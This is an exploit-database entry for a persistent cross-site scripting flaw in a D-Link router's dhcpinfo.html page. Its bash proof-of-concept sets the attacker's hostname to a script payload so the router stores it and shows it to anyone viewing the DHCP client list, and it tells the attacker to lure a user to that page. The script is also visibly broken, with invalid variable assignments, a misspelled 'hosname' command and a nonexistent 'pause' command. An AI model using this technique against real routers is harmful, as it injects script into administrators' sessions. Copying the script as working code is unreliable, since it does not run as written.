header-logo
Suggest Exploit
vendor:
N/A
by:
Yuval tisf Nativ
7,5
CVSS
HIGH
Persistent XSS
79
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2020

D-Link Persistent XSS

The page 'dhcpinfo.html' will list all machines connected to the network with hostname, IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in the application.
Source

Exploit-DB raw data:

#!/bin/bash

# Written and discovered by Yuval tisf Nativ
# The page 'dhcpinfo.html' will list all machines connected to the network with hostname, 
# IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname. 

# Checks if you are root
if [ "$(id -u)" != "0" ]; then
	echo "Please execute this script as root"
	exit 1
fi	

# You're XSS here
xss = "\"<script>alert('pwned');</script>"

# backup current hostname
currhost = `hostname`

# Bannering
echo ""
echo "		D-Link Persistent XSS by tisf"
echo ""
echo "The page dhcpinfo.html is the vulnerable page."
echo "Ask the user to access it and your persistent XSS will be triggered."
echo ""

# Change hostname to XSS
sudo hosname $xss

# Restore previous hostname on exit
pause "Type any key to exit and restore your previous hostname."
sudo hostname $currhost